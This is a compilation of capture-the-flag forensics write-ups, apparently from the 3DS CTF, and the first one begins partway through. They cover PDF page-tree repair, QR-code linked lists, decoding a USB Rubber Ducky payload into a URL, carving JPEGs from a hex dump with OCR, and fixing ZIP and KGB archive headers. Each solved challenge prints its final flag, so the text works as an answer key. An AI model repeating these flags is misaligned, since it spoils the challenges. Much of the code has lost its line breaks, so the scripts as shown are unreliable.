It fetches the content of object `7` so we need 34 more objects to get all parts, also we need to increase `/Count` to `34` and add additional objects to `/Kids` in object number `2`:
```2 0 obj<< /Type /Pages /MediaBox [ 0 0 500 800 ] /Count 34 /Kids [ 101 0 R 102 0 R 103 0 R 104 0 R 105 0 R 106 0 R 107 0 R 108 0 R 109 0 R 110 0 R 111 0 R 112 0 R 113 0 R 114 0 R 115 0 R 116 0 R 117 0 R 118 0 R 119 0 R 120 0 R 121 0 R 122 0 R 123 0 R 124 0 R 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R ]>>endobj```
After fixing the missing parts, we have a series of decimal codes; Converted them and got another flag:
```123 100 49 50 52 50 100 50 100 48 57 54 57 54 51 55 52 49 100 100 101 55 101 100 55 57 99 51 99 52 48 57 99 52 54 125```
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#Santa Walks Into a Bar
~~~~[EN]Santa walks into a bar and creates a friendship bound with you.After some shots, he spells to you his secrets to delivery all gifts on Christmas: he has a magical linked list that inform the next kiddie to visit.At the end of the night, he goes alway and left behind his wallet and the bag with the list of gifts to delivery. Try to discover if you will receive something.
[PT-BR]Papai noel entra em um bar e cria um laço de amizade com voce. Apos algumas bebidas, ele conta seu segredo para entregar todos os presentes de Natal: ele tem uma lista ligada que informa qual a porxima crianca que ele deve visitar. No final da noite, ele foi embora e esqueceu a carteira e a bolsa com a lista de presentes para entregar. Tente descobrir se voce ira receber alguma coisa.~~~~
The given file is a *.zip* with lots of *.png* files within. Each file is a QR code that translates to a simple message indicating a name of a child. Our goal is to find the one addressed to us.
Althoug the chall mentions a linked list, there is indeed no need of it. Each translated QR code actually points to another file name, therefore we could simply run all the nodes of the list. However there are actually some few linked lists put toghether in this folder. If you start with a random node, say the first file in alphabetic order, you might end up with a message like "Fail!" being the last node of this list.
Instead of trying every possible list, we decided to simply check all files inside the folder sequentially. Nevertheless, we are still talking about a linked list anyhow :)
This silly script did the trick in a few minutes:
~~~~import osimport qrtools
qr = qrtools.QR()for idx, f in enumerate(os.listdir(".")): if "solve" in f: continue qr.decode(f) if "you" in qr.data: print "File content >> %s" % qr.data img = qr.data.rsplit(' ', 1)[1]+".png" qr.decode(img) print " " + img + " >> " + qr.data~~~~
And the output:
~~~~File content >> Next kiddie is you in 6f0600da67c1870c157d1f61e0c58091 6f0600da67c1870c157d1f61e0c58091.png >> Yu u no following right?File content >> A child in you in ed7b0eaaf64c9bf6c90299f6cbe6d4e1 ed7b0eaaf64c9bf6c90299f6cbe6d4e1.png >> FailFile content >> A kid called you in dec1eadad9056c9ebde333c90cfd3769 dec1eadad9056c9ebde333c90cfd3769.png >> Ops!File content >> A kid called you in 0a6d1cb51e224c3ad799fc91c9c5f68e 0a6d1cb51e224c3ad799fc91c9c5f68e.png >> So wrong!File content >> I almost forgot you in 3ab3b4b87d57315315cbb0259a262177 3ab3b4b87d57315315cbb0259a262177.png >> Y0ur gift is in goo.gl/wFGwqO inugky3leb2gqzjanruw42ykFile content >> A child in you in 6fece9e2a5b49c07cdd7e8c3235ab724 6fece9e2a5b49c07cdd7e8c3235ab724.png >> Wrong!~~~~
There you go! Just check the address *https://goo.gl/wFGwqO* to get the flag:
3DS{I_h0p3_th4t_Y0u_d1d_n0t_h4v3_ch4ck3d_OnE_by_0n3} |
# QUACKer OatmealForensics 300
> You got a strange binary file to investigate.We are sure that's a flag hidden.PS: This file has been extracted from a very weird USB flash drive.
We were given a binary file. 'Strings' and 'file' commands failed to provide any information at all. Viewing the binary in hex editor didn't help either. The name of this challenge seemed weird, so I assumed that it's a hint and continued by making a web search with search terms 'QUACKer usb'. This lead me to [USB Rubber Ducky](http://usbrubberducky.com/).
To find out whether the file really was from Ducky, I tried to decode it with an online decoder ([Duckytoolkit Decoder](https://ducktoolkit.com/decoder/)). Decoding the binary worked and revealed a text file. Along with some other strings, the text file included the following command.
> echo aHR0cHM6Ly8zZHNjdGYub3JnLzU1YTNjYjc2NzNmNzk3ODhkZDhiYjc3MDIxODc2OTgzLzYzZGY2MzFhNjM1NzFjNDkwNzdjYjcxZTYwMWUyZGJlMTEzOTAwZjJlNmZkODQxNjA5ZjIxZmE4NGUzZTZmOWYucG5n | base64 --decode
The base64 encoded string will decode to:> https://3dsctf.org/55a3cb7673f79788dd8bb77021876983/63df631a63571c49077cb71e601e2dbe113900f2e6fd841609f21fa84e3e6f9f.png
Behind the link was a png image that contained the flag. The flag was 3DS{3ubb3r_Duc|<_wi7h_Fl46s}. |
# What the hexForensics 200p
> The NSA trainee was fired and left a very strange file on his desktop.> Without any success, the director asked you to take a look at this strange file. Can you figure something out?
We were given a large text file named data. Its content was hex encoded. The first bytes in the file were 464946. This is very close to jpg file signature 4a464946 so I made an assumption that the content of the data file is a hex presentation of some file, most likely a jpg file. I used xxd to convert the hex dump to a binary:``` bashxxd -r -p data >> output```Examining the binary in hex editor revealed that it didn't contain just one jpg file, but a lot of them. 3000 to be exact. Each of them was missing the start of jpg file signature. I extracted a couple of them manually to see what they looked like. They contained one line of text, that followed a pattern 3dsctf{<some_text_here>}. The flag should be 3DS{<some_text_here>}.
It seemed likely that the flag was printed to one of the 3000 images. Next step was to read what was written in each file. It was not necessary to save the files, storing them in a variable one at a time was enough. I used the following Python script to extract each file from the original text file and to correct their signatures:
```pythondef extract_files(filename): search_hex = '46494600' jfif_signature = 'FFD8FFE000004A' filecount = 0 i = 0 content = jfif_signature with open(filename, 'r') as f: while True: f.seek(i) byte = f.read(8) if byte == search_hex: read_text_from_image(content, filecount) content = jfif_signature filecount += 1 i += 8 else: f.seek(i) byte = f.read(2) if byte: content += byte i += 2 else: read_text_from_image(content, filecount) return
```I used [pytesseract](https://pypi.python.org/pypi/pytesseract/0.1) to read the flag from the images. It's a python wrapper for [Tesseract-OCR](https://github.com/tesseract-ocr). To be able to pass the image data to pytesseract, the data need to be converted to PIL Image object. Because in this case the image is in a string, it must first be converted to a StringIO object before opening.
``` pythondef read_text_from_image(content, filecount): try: img = Image.open(StringIO(content.decode('hex'))) img_text = pytesseract.image_to_string(img, \ config='-psm 6') if img_text[:4] == '3DS{': print filecount, img_text except KeyboardInterrupt as key: sys.exit() except IOError: return```The script found the flag from 2365th file.
Tesseract recognized the flag like this:```3DS{u_5hOuIdv3_7ried_tesseract}```'I' is a capital 'i', and the 'O' is capital 'o'. In the image it seems that the 'i' should be an 'l', and the 'o' should be 0. However, trying to return a flag with 'fixed' characters prompted about wrong flag. To get the flag right, it was necessary to type the flag exactly as Tesseract printed it, and not to try to fix characters that might seem to have been recognized wrong. |
## Pretty Slim
Opening the file in Winhex/Notepad, it seems like a Zip file.We changed the first byte to `P` (PK header) and extracted it but it seemed to be corrupted!! More changes are needed to fix it.We had no time to fix it manually and we wanted the bonus points badly.The `DiskInternals ZIP Repair` did it right and by extracting it we got another file with string `KGB in Kremlin28` in header
KGB archiver?We should fix the header again
```$ unzip slim_fix.zip Archive: slim_fix.zipThis Zip file has been recovered! extracting: flaggggg
$ stat /tmp/1 | grep Size Size: 8626 Blocks: 8 IO Block: 4096 regular file $ kgb 1.kgb /tmp/1/tmp/1 0KB -> 0KB0KB -> 0KB w 0.01s. (112.53% czas: 29 KB/s)
$ hexdump -C 1.kgb| head -200000000 4b 47 42 5f 61 72 63 68 20 2d 33 0d 0a 38 36 32 |KGB_arch -3..862|00000010 36 09 2f 74 6d 70 2f 31 0d 0a 1a 0c 00 82 4a c5 |6./tmp/1......J.|
$ stat flaggggg | grep Size Size: 359 Blocks: 8 IO Block: 4096 regular file $ hexdump -C flaggggg| head -200000000 4b 47 42 20 69 6e 20 4b 72 65 6d 6c 69 6e 32 38 |KGB in Kremlin28|00000010 09 66 6c 61 67 67 67 67 67 0d 0a 1a 0c 00 7b 00 |.flaggggg.....{.|```
KGB is not sensitive to the size of file in its header (inner file size before decompression)We set it to 359 and it worked so no need to bruteforce it
```$ vbindiff flaggggg flaggggg_fixed_kgb flaggggg 0000 0000: 4B 47 42 20 69 6E 20 4B 72 65 6D 6C 69 6E 32 38 KGB in K remlin28[...]flaggggg_fixed_kgb 0000 0000: 4B 47 42 5F 61 72 63 68 20 2D 33 0D 0A 33 35 39 KGB_arch -3..359[...]
$ file flaggggg_fixed_kgb flaggggg_fixed_kgb: KGB Archiver file with compression level 3
$ kgb flaggggg_fixed_kgb Extracting archive KGB_arch -3 flaggggg_fixed_kgb ... 0KB flaggggg: different: offset 0, archive=137 file=750KB -> 0KB w 0.01s. (100.00% czas: 44 KB/s)
$ rm flaggggg; kgb flaggggg_fixed_kgbExtracting archive KGB_arch -3 flaggggg_fixed_kgb ... 0KB flaggggg: extracted0KB -> 0KB w 0.01s. (100.00% czas: 37 KB/s)
$ file flagggggflaggggg: PNG image data, 111 x 111, 1-bit grayscale, non-interlaced```
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